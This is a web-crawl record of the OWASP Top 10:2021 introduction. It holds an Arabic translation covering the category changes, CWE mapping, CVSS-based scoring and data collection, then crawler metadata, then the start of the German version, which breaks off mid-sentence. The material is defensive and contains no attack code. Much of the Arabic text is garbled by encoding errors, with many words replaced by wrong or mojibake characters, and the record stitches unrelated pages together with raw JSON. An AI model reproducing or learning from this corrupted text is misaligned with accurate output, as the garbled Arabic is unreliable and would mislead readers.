الهوية\" وبؚد أن كانت كذلك هي الخطر رقم #2. وبؚد عملية ربطها مع ؼءاع CWEs وتسميتها بـ “فشل عملية التحقق. وكما نقول أن زيادة المعايير أدّت إلى تقليل المخاطر ولكن ليس بشكل كامل لذلك نراها هنا من ضمن أعلى ؚشع؊ مخاطر.\n\n**A08:2021- فشل سلامة البيانات والبرمجيات** تمت إضافتها حديثًا في هذا الإصدار 2021. والتي تركّز بشكل كبير على تحديث البرمجيات والبيانات مع التأكد على عدم ŘŞŘŁŘŤŘą سلامة دوع؊ حياة CI/CD. وعند النظر إلى تقييم المخاطر المحتملة حسب تصنيف CVE/CVSS وارتباطها مع CWEs نجد أن تقييم الخطر هو 10 ويعتبر مرتفع جدًا. الجدير بالذكر أن \"Insecure Deserialization\" أؾبحت ؏زإ من هذا التصنيف.\n\n**A09:2021-فشل في تسجيل السجلات الأمنية والمراقبة** والتي كانت تؚعف سابقًا بـ “تسجيل الأحداث والمراقبة بشكل غير صحيح. وبؚد عمل الاستطلاع التي تم اجراءها في أمن التطبيقات احتلت المرتبة رقم 3 في عملية الاستطلاع. والذي جعلها تؾؚد مرتبة واحد؊ بؚد أن كانت في المرتبة 10. الجدير بالذكر أن هناك العديد من عمليات الفشل التي ŘŞŘ­ŘŻŘŤ في المراقبة وتسجيل الأحداث التي تم ضمها هنا. وحينما نرى CVE/CVSS لا نرى لها أي تصنيف وا؜ح ولكن مع القصور في عمليات المراقبة وتسجيل الأحداث والتي تشكل تأثيرًا بالغًا في عملية التغطية على مستوى الأنظمة، والتنبيه في حال و؏ود حواد؍ أو الاستفادة منها في عمليات التحقيق الجنائي الرقمي.\n\n**A10:2021-تزوير الطلبات من جانب الخادم SSRF** تم ؼ؜اف؊ هذا التصنيف بناءً على الاستطلاع رقم #1. وتظهر البيانات حسب الاختبارات التي تم إجراؤها أن هذا التصنيف معدل الإصابة به فوق المتوسط مع اعتفاؚ منخفض. ومدى ارتباطه بمعدل التأثير وإمكانية الاستغلال. ويفيد المختصين في المجال أن و؏ود هذا التصنيف من ضمن المخاطر هو أمر مهم جدًا حتى وإن كانت البيانات الحالية غير مكتملة في الوقت الحالي.\n\n## المنهجية\n\nلأول مرة يتم الاعتماد على البيانات في تصنيف أعلى ؚشع؊ مخاطر ويجب التنويه أنها لا تعتمد على البيانات بشكل كُلي. حيث تم اختيار ثمانية تصنيفات من أصل ؚشع؊ بناءً على البيانات واثنين منهم بناءً على الاستطلاع الذي تم إجراؤه في نطاق المخاطر. وتقوم منظمة أواسب بالاعتماد على البيانات السابقة أك؍ع من أي مصادر أخرى وذلك بسبب أن الباحثين في أمن التطبيقات يستغرقون وقت وجهد كبير في إيجاد الثغرات أو طرق جديدة لاستغلالها. مما يجعل عملية التحقق من النتائج والأدوات والطرق المستخدمة يستغرق وقت أكبع وقد تصل إلى سنوات. ولتحقيق التوازن قمنا باستخدام استطلاع على المخاطر التي تستهدف صناعة أمن التطبيقات وقمنا بتوجيه أسئلة للمختصّين في نقاط الضعف التي قد لا تظهرها البيانات.\n\nوكما أن هناك بؚ؜ التغييرات الجوهرية التي تم اعتمادها من قبل منظمة أواسب لمواصلة المنهجية المتّبعة في تصنيف أعلى ؚشع؊ مخاطر.\n\n### كيف يتم تنظيم التصنيفات\n\nتم تغيير بؚ؜ التصنيفات من الإصدار السابق لأعلى ؚشع مخاطر وهنا ملخص لما تم تغيره على مستوى التصنيفات\n\nتعكز الجهود المبذولة في جمع البيانات على مجموعات فرعية من CWEs بؚدد 30 مجال مع الاخذ بالاعتبار ان بؚ؜ التصنيفات الفرعية تحتا؏ الى بيانات ونتائج إضافية.\nلذلك قرّرت المنظمة أنها ستقوم بالتركيز على 30 تصنيف من CWEs بشكل أساسي وقد يتطلّب التركيز في بؚ؜ الأحيان النظر في التصنيفات المتفرعة منها وسيكون في نطاق محدود وضيّق. وتبعًا للإجراءات المعتادة قمنا بطلب البيانات وبدون أي قيود على CWEs. وقمنا بطلب ؚدد من التطبيقات التي تم اختبارها لسنوات محددة (بدءًا من عام 2017)، و التطبيقات التي تم تقييمها بإصابتها بأحد CWEs على الأقل. وتسمح لنا هذه الطريقة معرفة مدى اعتباء التطبيقات بتصنيفات CWEs. مع الأخذ بعين الاعتبار أننا تجاهلنا التكرار لأسباب معيّنة، وأن في بؚ؜ الحالات يكون ضروريًا الأخذ به والذي قد يؤثر في بؚ؜ الأحيان في حال كان التطبيق منتشر ومشهور ومستخدم بك؍ع؊. والجدير بالذكر أن مهما كان التطبيق مصاب بـ 4 من CWEs أو 4,000 فهذا لا يؤثر على آلية احتساب أعلى ؚشع؊ مخاطر لدينا. ولقد كان لدينا حوالي 400 CWEs تقريبًا وقمنا بحصرها وتقليلها إلى 30 CWEs وذلك من خلال تحليل مجموعة من البيانات. وكما نخطط في المستقبل في ؼ؏عاإ تحليلات إضافية والتي بدورها ستنعكس على ؼ؜اف؊ بؚ؜ من CWEs وقد يكون هناك تغيير كذلك على هيكلة وتصنيف أعلى ؚشع؊ مخاطر.\n\nلقد أمضينا ؚد؊ أشهر في تجميع وتصنيف CWEs وكان من الممكن أن نستمر لأشهر إضافية. ولكن كان علينا التوقف عند نقطة ما. كما أن هناك أنواع في CWEs ما يسمى بـ “سبب جذري\" و \"الأعراض\". وعلى سبيل المثال على \"سبب جذري\" كفشل التشفير أو الإعدادات الخاطئة والذي يتم إقرانه بالأعراض مثل بيانات حساس؊ مكشوفة أو ح؏ب الخدمة. لذلك قرّرنا أن نركز على \"السبب الجذري\" قدر الإمكان وذلك لتوفّر التوصيات والإرشادات وطرق تلافي تلك الأسباب. كما أن التركيز على الأسباب الجذرية أك؍ع من الأعراض ليس مفهوم جديد، كما أن أعلى ؚشع؊ مخاطر ؏اإت بشكل مختلط ما بين \"الأسباب الجذرية\" و \"الأعراض\" وهو الأسلوب المتّبع في CWEs كذلك. وهدفنا أن نكون على توازن بينهم. إن متوسط التصنيفات حسب CWEs هو 19.6 حيث حصلت A10 تزوير الطلبات من جانب الخادم SSRF على 1 CWEs و 40 CWEs لصالح A04:2021- التصميم الغير آمن . إن التحديث الذي جرى على التصنيفات مفيد جدًا للمنظمات من ناحية التركيز على منافع الاستفادة من التدريب على CWEs واستخدمها كلغة عمل وؼءاع.\n\n### كيف يتم استخدام البيانات لبعض التصنيفات المختارة\n\nفي الإصدار السابق لعام 2017، جعلنا التصنيفات مبنية على معدل الحدوث لتحديد احتماليتها. بؚد ذلك قمنا بالتصنيف من خلال مجموعة نقاش مبنيّة على عقود من الخبرات في الاختراق والاستغلال والاكتشاف واحتمالية حدوثها أيضًا وما هو الأثر التقني الذي سيحدث. لذلك أردنا في النسخة الجديدة من عام 2021 من الاستفادة من بيانات الاستغلال والأثر إن أمكن ذلك.\n\nقمنا بتنزيل \" OWASP Dependency Check\" واستخرجنا نتائج CVSS للاختراق والآثار التي تم جمعها سابقاً من CWEs ذات العلاقة. ولا يخفى عليكم ان هذا الجهد من البحث ا؎ذ قدر لا باس به لان جميع CVEs لديها دع؏ات من CVSSv2 كذلك. ولكن هنا بؚ؜ الخلل ما بين CVSSv2 وCVSSv3 والذي يجب معالجته. وسنرى في القريب ان جميع CVEs ستقوم باستخدام CVSSv3. ونود ان نلفت الانتباه ان معادلة CVSSv2 وCVSSv3 والدرجات متغيرة ومتحدثة.\n\nفي CVSSv2، من الممكن ان يصل الأثر و الاستغلال الى 10.0، ولكن بؚد استخدام المعادلة قد تنخفض الى 60% لاستغلال و 40% للتأثير. وفي CVSSv3 كان الحد الأعلى هو 6.0 للاستغلال و 4.0 للأثر. مع الاخذ بالاعتبار مدى ثقل أحدهما. وعند النظر الى CVSSv3 نرى ان الأثر اعتفؚ حوالي نقطة ونصف، والاستغلال انخفض بمقدار النصف نقطة تقريباً.\n\nهناك أك؍ع من 125 ألف سجل من CVE تم ربطها مع CWEs في منصة NVD والتي تم استخدمها في \" OWASP Dependency Check\". وهناك أك؍ع من 241 تصنيف فرعي فريد في CWEs تم ربطها في أك؍ع من CVE. وهناك أك؍ع من 62 ألف من CWE تم ربطها في CVSSv3. والتي تمثل نصف البيانات التي تم حصرها.\n\nفي قائمة أعلى ؚشع مخاطر، قمنا بحساب متوسط نقاط الاستغلال والأثر بالطرق التالية. قمنا بتجميع دع؏ات CVEs مع CVSS بواسء؊ CWE وقمنا بتقييم كل من الأثر والاستغلال باستخدام النسبة المئوية الموجودة في CVSSv3 بالإضافة الى جميع ما يوجد في CVSSv2 لاحتساب المتوسط الإجمالي. وبؚد ذلك قمنا بعبء المتوسط بـ CWEs في قاعدة البيانات وذلك لاستخدمها لتقييم دع؏ات الأثر والاستغلال والاستفادة منها كذلك في احتساب المخاطر بناء على المعادلة المستخدمة.\n\n## لماذا لا تكون مجرد بيانات إحصائية بحتة؟\n\nتقتصر النتائج بشكل أساسي على ما يمكن اختباره بشكل آلي. وحينما ŘŞŘŞŘ­ŘŻŘŤ إلى ŘŁŘ­ŘŻ المختصّين المحترفين في مجال أمن التطبيقات سيخبرونك أن بؚ؜ المخرجات والاحصائيات لا يوجد لها بيانات بؚد. ومع ذلك عند ؼؚداد منهجيات الاختبار، تستغرق فتع؊ من الزمن ومن ثم أنت بحا؏؊ إلى المزيد من الوقت لكي تقوم بأتمتة تلك الاختبارات وتشغيلها على مجموعة كبيرة من التطبيقات.\n\nولذلك قمنا باختيار ثمانية تصنيفات من أصل ؚشع؊ من البيانات بسبب عدم اكتمال ونضج البيانات، وبالنسبة للتصنيفين المتبقية قمنا بعمل استطلاع في مجال امن التطبيقات. مما يسمح للمختصين بالتصويت لما يرونه من المخاطر التي تستحق أن ت؜اف إلى قائمة أعلى ؚشع؊ مخاطر والتي قد لا يكون لها بيانات أو بيانات غير متناسقة أو غير مناسبة.\n\n## لماذا معدل الحدوث بدلا من التكرار؟\n\nهناك ثلاثة مصادر أساسية للبيانات. نحددها على أنها الانسان يساعد الأدوات (HaT) ، او الأدوات تساؚد الإنسان (TaH) ، او الأدوات من غير أي تعديلات.\n\nتقوم HaT والأدوات بعمليات اكتشاف على مستوى عالي. حيث ان الأدوات تبح؍ عن نقاط ؜ؚف محددة مع ت؏عب؊ جميع الاحتمالات المتوقعة لاكتشاف الثغرة. وعند النظر الى ؍غع؊ XSS والتي بالعادة اما ان تكون منخفضة الخطورة او بسيطة والتي تأتي بسبب أ؎ءاإ الأنظمة او أ؎ءاإ في عملية التصفية. وعندما تكون الثغرة بسبب ؎ءاإ في الأنظمة تعتفؚ بالنسبة تكعاع الاكتشاف لهذه الثغرة والتي من الممكن ان تؤ؍ع على مخرجات التقرير او البيانات.\n\nومن ناحية أخرى، نجد أن TaH أ؎ع؏ت لنا نطاق واسؚ من الثغرات ولكن مع تكعاع أقل بكثير بسبب ضيق الوقت. وذلك بسبب قيام المختصين بفحؾ التطبيقات ويرون في بؚ؜ الأحيان مثل XSS سيقومون بإيجاد ŮŁ أو ٤ وبؚد ذلك يتوقفون عن البحث عنها وإيجاد سبب الخطأ وكتاب؊ تقرير عنها والتوصيات الممكنة لكي تقوم بإصلاحها والتي ستقوم بإصلاح جميع التطبيقات. وليس هناك حا؏؊ أو وقت للعثور على جميع الثغرات بشكل متكرر.\n\nلنفترض أننا أخذنا مجموعتين من البيانات المميّزة والغير متشابهة وحاولنا دمجها على مستوى التكرار. في هذه الحالة سنجد أن البيانات الدقيقة المستخرجة من الأدوات وHaT غير قابلة للملاحظة مع بيانات TaH. وهذا يظهر في بؚ؜ الأحيان بشكل إيجابي في بؚ؜ الثغرات مثل ؍غع؊ XSS والذي في بؚ؜ الأحيان يقوم بعفؚ مستوى التصنيف من منخفض إلى متوسط بسبب العدد الهائل من النتائج. (؍غعات مثل XSS من السهل اختبارها والخروج بنتائج معقولة)\n\nفي عام 2017 قمنا باستخدام معدّل الحدوث بدلًا من إلقاء نظرة مرة أخرى على البيانات ودمجها بشكل مناسب مع البيانات المستخرجة من الأدوات وHaT و TaH. حيث يكون معدل الحدوث يعتمد على نسبة التطبيقات التي لديها نوع من أنواع الثغرات. وحقيقة نحن في المنظمة لا نهتم في حال كانت الثغرة واحد؊ معدل حدوثها متكرر. وهدفنا هو معرفة ؚدد التطبيقات التي لديها ؍غع؊ واحد؊ على الأقل. وهذا يعطينا تصوّر وا؜ح من نتائج الاختبار والتي تُعتبر لدينا أفضل من إغراق البيانات بتكعاع ليس له فا،د؊.\n\n## ما هي عملية جمع البيانات وتحليلها؟\n\nتم ؼ؜فاإ الطابع الرسمي على عملية جمع بيانات أعلى ؚشع مخاطر في قمة Open Security Summit في عام 2017. وبؚد ذلك أمضى المسؤولين في منظمة آواسب يومين في العمل على جعل عملية جمع البيانات مبنية على سياسة وا؜ح؊ وشفاف؊. تؚد نسخة 2021 هي المرة الثانية التي نستخدم فيها هذه المنهجية.\n\nقمنا بدؚو؊ للحصول على البيانات من خلال قنوات التواصل الاجتماعي المتاحة لنا، لكلًّا من المشروع و OWASP. وفي [ؾفح؊ مشروع OWASP](https://owasp.org/www-project-top-ten/#div-data_2020), نقوم بؼدعا؏ عناصر وهيكل البيانات التي نبحث عنها وكيفية إرسالها.\nوفي [مشروع GitHub](https://github.com/OWASP/Top10/tree/master/2021/Data), لدينا أمثلة لملفات تعمل كقوالب. نعمل مع المنظمات الأخرى حسب الحاجة للمساعدة في تحديد الهيكلورسمه وربطه بـ CWEs.\n\nنحصل على البيانات من المؤسسات التي بالاختبارات من خلال المبادلة، ومن خلال منصات اكتشاف الثغرات، والمؤسسات التي تساهم ببياناتها الخاصة بالاختبار الداخلية. وبمجرد حصولنا على البيانات، نقوم بتحميلها معًا ونجري تحليلًا وفهماً عن أساسيًات الربط بـ CWEs لتصنيفات المخاطر. هناك تداخل بين بؚ؜ CWEs، بسبب التشابه بينهم (مثل نقاط الضعف في التشفير). حيث يتم توثيق ونشر أي قرارات تتعلق بالبيانات الأولية المقدمة لتكون مفتوحة ووا؜ح؊ مع كيفية مواءمة البيانات.\n\nيتم النظر إلى التصنيفات الثمانية ذات أعلى معدلات حدو؍ لإدراجها في أعلى ؚشع مخاطر. وننظر أيضًا في نتائج الاستطلاع في مجال امن التطبيقات لمعرفة في حال و؏ود أي منها في البيانات. سيتم اختيار أعلى تقييمين غير موجودين بالفعل في البيانات المحللة سابقاً واضفتها الى أعلى ؚشع مخاطر. بمجرد اختيار جميع العشرة ، يتم تطبيق العوامل التي تم الاتفاق عليها وهي (الاستغلال والتأثير)؛ للمساعدة في ترتيب أعلى ؚشع مخاطر.\n\n## العوامل المستخدمة مع البيانات\n\nهناك عوامل بيانات مدرجة لكل تصنيف من تصنيفات أعلى ؚشع مخاطر، وإليك ما تعنيه:\n\n- *عبء بـ CWEs*: ؚدد CWEs الذي تم ربطها بواسء؊ الفريق.\n- *معدل الحدوث/الحوادث*: معدل الحدوث وهو النسبة المئوية للتطبيقات المعرضة لثغرات ومعرفة مدى ارتباطها بمعيار CWE خلال الاختبارات التي. أجرتها المؤسسات في سنة محددة.\n- (الاختبارات) *والتغطية*:النسبة المئوية للتطبيقات التي تم اختبارها من قبل جميع المنظمات لـ CWE مُعيّن.\n- *؎ءوع؊ الاستغلال*: معرفة الاستغلال و النقاط الفرعية له من CVSSv2 و CVSSv3 والتي لديها CVEs ومرتبطة بـ CWEs، ،موائمتها ، ووضعها على مقياس 10pt.\n- *التأثير المتوقع*: تأثير النقاط الفرعية من CVSSv2 و CVSSv3 والتي لديها CVEs ومرتبطة بـ CWEs، ،موائمتها ، ووضعها على مقياس 10pt.\n- *إجمالي التكرار/الحوادث*: إجمالي ؚدد التطبيقات التي تم ربطها بـ CWEs وتم و؜ؚ تصنيف محدد لها.\n- *إجمالي CVEs*: إجمالي ؚدد CVEs في NVD DB التي تم ربطها بـ CWEs وتم و؜ؚ تصنيف محدد لها.\n\n## علاقات التصنيفات لعام 2021 مع تصنيفات عام 2017\n\nهناك الكثير من الحديث عن التداخل بين المخاطر العشرة الأولى. ومن خلال تعريف كل (القوائم المدرجة في CWEs)، ولكن الذي يظهر لنا أنه لا يوجد أي تداخل فيها ومع ذلك، من الناحية النظرية، يمكن أن يكون هناك تداخل أو ŘŞŘŁŘŤŘą بناءً على التسمية. ونقوم باستخدام مخططات Venn لإظهار التداخل كما وعد في المثال أدناه.\n\nيمثل مخطط Venn أعلاه الترابط بين التصنيفات في أعلى ؚشع مخاطر لعام 2017. وأثناء القيام بذلك، أؾبحت ب؜ؚ نقاط أساسية وا؜ح؊:\n\n1. كان يُرى بأن هجوم - ؍غعات XSS تنتمي في حقيقة الأمر إلى ؍غعات الحقن(Injection) لأنها في الأساس ؚباع؊ عن حقن المحتوى. بالنظر إلى بيانات عام 2021 ، أؾبح من الواضح أن ( XSS )بحا؏؊ إلى الانتقال إلى الحقن(Injection).\n2. التداخل فيما بينهم غالبًا يكون في اتجاه واحد. غالبًا ما نصنّف الثغرة من خلال \"العَرَض\"، وليس السبب الجذري (الذي يحتمل أن يكون عميقًا). على سبيل المثال، قد تكون \" البيانات الحساسة المكشوفة \" نتيجة \"الإعدادات ؎اء،؊ الأمان، وفي الغالب لن تراها بالإتجاه المعاكس. نتيجة لذلك، يتم رسم الأسهم في مناطق التأثر للإشارة إلى الإتجاه الذي يحدث فيه.\n3. أحيانًا يتم رسم هذه المخططات بشكل كامل كما في *A06: 2021 الثغرات والأنظمة الغير قابلة للتحديث*. في حين أن بؚ؜ التصنيفات من هذه المخاطر قد يكون السبب الجذري هي ؍غعات من الطرف الثالث، فإنه يتم إدارتها بشكل مختلف ومسؤوليات مختلفة. والمخاطر الأخرى المتبقية تمثّل الطرف الأول.\n\n# شكراً لكل من ساهم معنا في جمع هذه البيانات\n\nساهمت المنظمات التالية (جنبًا إلى جنب مع بؚ؜ المساهمين-المتبرعين المجهولين) لبيانات لأكثر من 500,000 تطبيق وجعلها هي القائمة الأكبر والأكثر والأشمل من التطبيقات التي تم ؼ؏عاإ ا؎تباعات الأمان عليها وجعلها في قاعدة بيانات. وتأكد أنه من غير اسهاماتك لن يكون هذا ممكن.\n\n| | | | |\n| --- | --- | --- | --- |\n| AppSec Labs | GitLab | Micro Focus | Sqreen |\n| Cobalt.io | HackerOne | PenTest-Tools | Veracode |\n| Contrast Security | HCL Technologies | Probely | WhiteHat (NTT) |\n\n# شكعا لجميع داعمينا الماليين", "znaku_textu": 27820, "slov": 3396, "odkazu": 47, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/Top10/2021/ar/", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:05", "sha256": "9550491c95138362d44ec81d222c4f88b5dd1d5ecfb49808b83e5dae95a34faf", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/Top10/tree/master/2021/Data", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/de/", "titulek": "A00_2021_Startseite - OWASP Top 10:2021", "h1": "Einführung", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/de/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Einführung"}, {"uroven": 2, "text": "Willkommen bei den OWASP Top 10 – 2021"}, {"uroven": 2, "text": "Was sich in den Top 10 für 2021 geändert hat"}, {"uroven": 2, "text": "Methodik"}, {"uroven": 2, "text": "Wie die Kategorien aufgebaut sind"}, {"uroven": 2, "text": "Wie die Daten zur Auswahl und Priorisierung der Kategorien verwendet werden"}, {"uroven": 2, "text": "Warum nicht nur reine statistische Daten?"}, {"uroven": 2, "text": "Warum Inzidenzrate statt Häufigkeit?"}, {"uroven": 2, "text": "Wie sieht Ihr Datenerfassungs- und Analyseprozess aus?"}, {"uroven": 2, "text": "Datenfaktoren"}, {"uroven": 2, "text": "Vielen Dank an unsere Daten-Spender"}, {"uroven": 2, "text": "Vielen Dank an unsere weiteren Sponsoren"}], "markdown": "# Einführung\n\n## Willkommen bei den OWASP Top 10 – 2021\n\nWillkommen zur neuesten Ausgabe der OWASP Top 10! Die OWASP Top 10:2021 sind völlig neu, mit einem neuen Grafikdesign mit Piktogrammen je Risiko und Mobilgeräte-freundlichen Webseiten.\n\nEin großes Dankeschön an alle, die mit ihrer Zeit und Daten für diese Ausgabe beigetragen haben. Ohne Sie wäre diese Version nicht zustande gekommen. **HERZLICHEN DANK!**\n\n## Was sich in den Top 10 für 2021 geändert hat\n\nEs gibt drei neue Kategorien, vier Kategorien mit Änderungen im Namen und teilweise auch im Umfang (im englischen Original, siehe auch [Vorwort der deutschen Version](../0x00-notice/#vorwort-der-deutschen-version)) und eine gewisse Konsolidierung in den Top 10 für 2021. Wir haben bei Bedarf Namen geändert, um uns auf die jeweilige **Grundursache statt auf Symptome** zu konzentrieren.\n\n- **[A01:2021-Mangelhafte Zugriffskontrolle](A01_2021-Broken_Access_Control/)** steigt von der [fünften Position](https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control) in die Kategorie mit dem schwerwiegendsten Sicherheitsrisiko für Webanwendungen auf. Die uns zur Verfügung gestellten Daten zeigen, dass im Durchschnitt 3,81% der getesteten Anwendungen eine oder mehrere Common Weakness Enumerations (CWEs) dieser Kategorie aufweisen. Insgesamt wurden mehr als 318.000 CWEs in dieser Risikokategorie genannt. Die 34 CWE-Typen, die wir der 'mangelhaften Zugriffskontrolle' zuordneten, traten in Anwendungen häufiger auf, als die jeder anderen Kategorie.\n- **[A02:2021-Fehlerhafter Einsatz von Kryptographie](A02_2021-Cryptographic_Failures/)** steigt mit neuem Namen um eine Position auf Nummer 2 auf. Bisher hieß diese Kategorie **[A3:2017-Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure)** , was eher ein (allgemeines) Symptom, als die Grundursache war. Der neue Name fokussiert auf Fehler im Zusammenhang mit der Kryptographie, wie dies bereits implizit der Fall war. Diese Kategorie führt häufig zur Offenlegung vertraulicher Daten oder zur Kompromittierung des Systems.\n- **[A03:2021-Injection](A03_2021-Injection/)** [steigt von der ersten](https://owasp.org/www-project-top-ten/2017/A1_2017-Injection) auf die dritte Position ab. 94% der Anwendungen wurden auf eine Art von 'Injection' getestet, mit einer maximalen Inzidenzrate von 19% und einer durchschnittlichen Rate von 3,37%. Die 33 CWE-Typen dieser Kategorie weisen mit einem Vorkommen von insgesamt 274.000 Nennungen die zweithäufigsten Vorfälle bei Webanwendungen auf. 'Cross-Site Scripting' (XSS) wurde in dieser Ausgabe der Top 10 nun Teil dieser Kategorie.\n- **[A04:2021-Unsicheres Anwendungsdesign](A04_2021-Insecure_Design/)** ist eine neue Kategorie dieser Ausgabe, die sich mit Risiken im Zusammenhang mit Designfehlern bei Anwendungen beschäftigt. Um die IT-Sicherheit früher im Software-Entwicklungsprozess zu berücksichtigen, brauchen wir mehr Bedrohungsmodellierung, sichere Entwurfsmuster und -prinzipien sowie Referenzarchitekturen. Ein unsicheres Design kann nicht durch eine perfekte Implementierung behoben werden, da die erforderlichen Sicherheitsmaßnahmen definitionsgemäß nie zur Abwehr bestimmter Angriffe berücksichtigt und implementiert wurden.\n- **[A05:2021-Sicherheitsrelevante Fehlkonfiguration](A05_2021-Security_Misconfiguration/)** wechselt von [Position 6 in der vorherigen Ausgabe](https://owasp.org/www-project-top-ten/2017/A6_2017-Security_Misconfiguration) einen Platz nach oben. 90% der Anwendungen wurden auf irgendeine Art von Fehlkonfiguration getestet, mit einer durchschnittlichen Inzidenzrate von 4,5% und über 208.000 CWEs, die dieser Risikokategorie zugeordnet wurden. Angesichts der zunehmenden Verlagerung zu hoch konfigurierbarer Software, ist es nicht verwunderlich, dass diese Kategorie aufsteigt. Die frühere Kategorie für **[A4:2017-XML External Entities (XXE)](https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE))** ist jetzt auch Teil dieses Riikos.\n- **[A06:2021-Unsichere oder veraltete Komponenten](A06_2021-Vulnerable_and_Outdated_Components/)** trug zuvor den Titel \" [A9:2017-Using Components with Known Vulnerabilities](https://owasp.org/www-project-top-ten/2017/A9_2017-Using_Components_with_Known_Vulnerabilities) \" und ist Nr. 2 in der Top-10-Community-Umfrage, verfügte jedoch über genügend Nennungen in den gespendeten Daten, um es bereits darüber in die Top 10 zu schaffen. Diese Kategorie steigt von [Position 9 im Jahr 2017](https://owasp.org/www-project-top-ten/2017/A9_2017-Using_Components_with_Known_Vulnerabilities) auf Position 6 auf. Es handelt sich hierbei um ein bekanntes Problem, dessen Risiko wir nur schwer testen und bewerten können. Es ist die einzige Kategorie, bei der die zugeordneten CWEs von keiner 'Common Vulnerability and Exposure' (CVE) referenziert wird, sodass in ihren Bewertungen ein mittlerer Standard-Score von 5,0 für Exploit und in der Auswirkung berücksichtigt werden.\n- **[A07:2021-Fehlerhafte Authentifizierung](A07_2021-Identification_and_Authentication_Failures/)** fällt von der [zweiten Position](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication) auf Platz 7 zurück. Das Risiko enthält jetzt CWEs, die eher mit Identifikationsfehlern zusammenhängen. Diese Kategorie ist immer noch ein fester Bestandteil der Top 10, aber die zunehmende Verfügbarkeit standardisierter Frameworks scheint hier zu helfen.\n- **[A08:2021-Fehlerhafte Prüfung der Software- und Datenintegrität](A08_2021-Software_and_Data_Integrity_Failures/)** ist eine weitere, neue Kategorie für die Ausgabe von 2021, die sich auf Annahmen im Zusammenhang mit Software-Updates, kritischen Daten und CI/CD-Pipelines ohne Überprüfung der Integrität befasst. Die 10 CWE-Typen dieser Kategorie werden von 'Common Vulnerability and Exposures' (CVEs) mit den höchsten 'Common Vulnerability Scoring System' (CVSS)-Scores referenziert. **[A8:2017-Security Misconfiguration](https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization)** ist jetzt ein Teil dieser umfangreicher gewordenen Kategorie.\n- **[A09:2021-Unzureichendes Logging und Sicherheitsmonitoring](A09_2021-Security_Logging_and_Monitoring_Failures/)** hieß früher **[A10:2017-Insufficient Logging&Monitoring](https://owasp.org/www-project-top-ten/2017/A10_2017-Insufficient_Logging%2526Monitoring)** , wurde auf Basis der Top-10-Community-Umfrage (Nr. 3) hinzugefügt und rückt von Platz 10 auf. Diese Kategorie wurde erweitert, um mehr Fehlertypen abzudecken, ist schwierig zu testen und ist in den CVE/CVSS-Daten nicht gut vertreten. Fehler in dieser Kategorie können sich jedoch direkt auf die Sichtbarkeit, Alarmierung bei Vorfällen und Forensik der Anwendung auswirken.\n- **[A10:2021-Server-Side Request Forgery](A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)** wurde aus der Top-10-Community-Umfrage (Nr. 1) hinzugefügt. Die Daten zeigen eine relativ niedrige Inzidenzrate bei einer überdurchschnittlichen Testabdeckung sowie überdurchschnittlichen Bewertungen für Exploit- und Impact-Potenzial. Diese Kategorie entspricht dem Szenario, bei dem die Mitglieder der Sicherheits-Community uns mitteilen, dass dies wichtig ist, auch wenn es in den Daten zu diesem Zeitpunkt nicht abgebildet wird.\n\n## Methodik\n\nDiese Ausgabe der Top 10 ist datengestützter denn je, aber nicht mit blindem Vertrauen. Wir haben acht der zehn Kategorien aus den Datenbeiträgen und zwei Kategorien aus der Experten-Umfrage in der OWASP-Community mit den höchsten Bewertungen ausgewählt. Wir tun dies aus einer grundsätzlichen, methodischen Überlegung: Der Blick auf die erhaltenen Daten ist ein Blick in die Vergangenheit. IT-Sicherheitsforschende nehmen sich Zeit, um neue Schwachstellen und neue Möglichkeiten zu finden, diese zu testen. Es braucht Zeit, diese Tests in Tools und Prozesse zu integrieren. Bis eine Schwachstelle in großem Maßstab zuverlässig getestet wird, sind wahrscheinlich Jahre vergangen. Um diesen Umstand auszugleichen, nutzen wir eine Community-Umfrage, um Expertinnen und Experten für Anwendungssicherheit und Software-Entwicklung an vorderster Front zu befragen, was ihrer Meinung nach wesentliche Schwachstellen sind, die die Auswertung der Datenstatistik möglicherweise noch nicht aufzeigt.\n\nWir haben einige, wichtige Änderungen vorgenommen, um die Top 10 weiterzuentwickeln.\n\n## Wie die Kategorien aufgebaut sind\n\nEinige Kategorien haben sich gegenüber der vorherigen Ausgabe der OWASP Top Ten von 2017 geändert. Im Folgenden finden Sie eine Zusammenfassung der Änderungen in den einzelnen Kategorien.\n\nFrühere Datenerhebungen konzentrierten sich auf eine vorgegebene Teilmenge von etwa 30 CWE-Typen. In einem Freitextfeld wurde nach zusätzlichen Erkenntnissen gefragt. Wir haben gelernt, dass sich Unternehmen in erster Linie auf diese 30 CWE-Typen konzentrieren und nur selten weitere CWEs ergänzten, die sie gefunden hatten. In dieser Ausgabe haben wir das Verfahren geöffnet und nur nach Daten gefragt, ohne Einschränkung auf bestimmte CWE-Typen. Wir fragten nach der Anzahl der getesteten Anwendungen für ein bestimmtes Jahr (ab 2017) und nach der Anzahl der Anwendungen, bei denen mindestens ein CWE im Test gefunden wurde. Mit dieser Vorgehensweise können wir erkennen, wie oft die einzelnen CWE-Typen jeweils in den Anwendungen vorkommen. Wir ignorieren dabei für unsere Zwecke bewusst die Häufigkeit von Schwachstellen je Anwendung. Während es in anderen Situationen sinnvoll und notwendig sein kann, würde sie hier nur das tatsächliche Vorkommen in der Anwendungspopulation verschleiern. Ob in einer Anwendung ein CWE-Typ viermal vorkommt oder 4.000 Mal, ist für die Risikoberechnung der Top 10 nicht relevant. Durch dieses Vorgehen ist die Datenbasis von etwa 30 CWE-Typen auf fast 400 gestiegen, die wir für diese Ausgabe analysiert haben. Wir planen, in Zukunft weitere 